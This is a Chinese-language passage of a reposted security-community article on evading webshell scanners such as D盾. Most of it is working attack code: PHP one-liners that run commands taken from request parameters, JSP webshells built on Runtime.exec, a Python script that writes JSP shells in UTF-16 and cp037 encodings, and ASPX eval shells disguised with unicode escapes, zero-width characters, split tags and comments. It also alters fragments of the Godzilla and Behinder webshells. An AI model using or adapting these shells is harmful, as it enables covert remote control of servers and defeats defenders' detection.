<?=$a=<<< aaassasssasssasssasssasssasssasssasssasssasssassssaa;echo `whoami`?>

<?php\echo `whoami`;?>

<?php$s=substr("aabbccsystem","0x6");$s(whoami)?>

<?php$a = $_GET['function'] ?? 'whoami';$b = $_GET['cmd'] ?? 'whoami';$a(null.(null.$b));

0x02 jsp的免杀

0、小小Tips

jsp的后缀可以兼容为jspx的代码，也兼容jspx的所有特性，如CDATA特性。
jspx的后缀不兼容为jsp的代码，jspx只能用jspx的格式。

1、jspx CDATA特性

在XML元素里，<和&是非法的，遇到<解析器会把该字符解释为新元素的开始，遇到&解析器会把该字符解释为字符实体化编码的开始。

但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符，因此可以将脚本代码定义为CDATA。

CDATA部分内容会被解析器忽略，此时ameter依旧会与getPar拼接成为getParameter。

格式：<![CDATA[xxxxxxxxxxxxxxxxxxx]]>例如：String cmd = request.getPar<![CDATA[ameter]]>("shell");

2、实体化编码

if (cmd !=null){        Process child = Runtime.getRuntime().exec(cmd);        InputStream in = child.getInputStream();

3、利用java支持其他编码格式来进行绕过

#python2charset = "utf-8"data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')f16be.write('<%@ page contentType="charset=utf-16be" %>')f16be.write(data.encode('utf-16be'))

f16le = open('utf-16le.jsp','wb')f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')fcp037.write(data.encode('cp037'))fcp037.write('<%@ page contentType="charset=cp037"/>')

可以看到对于D盾的免杀效果还是非常好的。

0x03 aspx的免杀

unicode编码空字符串连接<%%>截断头部替换特殊符号@注释

<%@ Page Language="Jscript"%>eval(@Request.Item["pass"],"unsafe");%

这一步无需多言，一定是会被D盾所查杀的

1、unicode编码

例如eval他可以变为\u0065\u0076\u0061\u006c，经过我本地的测试，它不支持大U和多个0的增加

<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>

2、空字符串连接

在函数字符串中插入这些字符都不会影响脚本的正常运行，在测试前需要注意该类字符插入的位置，否则插入错误的地方会产生报错

\u200c\u200d\u200e\u200f

3、使用<%%>语法

将整个字符串与函数利用<%%>进行分割

<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>

4、头部免杀

之前有遇到过检测该字段的<%@ Page Language="C#" %>，这个是标识ASPX的一个字段，针对该字段进行免杀%@Language=CSHARP%，很久之前修改为这样就过了，同样的，可以修改为

<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>

也可以将该字段放在后面，不一定要放前面等

5、使用符号

如哥斯拉webshell存在特征代码，可以添加@符号但是不会影响其解析。

(Context.Session["payload"] == null)(@Context.@Session["payload"] == null)

6、注释可以随意插入

如下所示为冰蝎部分代码，可以与<%%>结合使用效果会更好。

<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)

文章来源：先知社区（Icepaper）

原文地址：https://xz.aliyun.com/t/10937

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！

END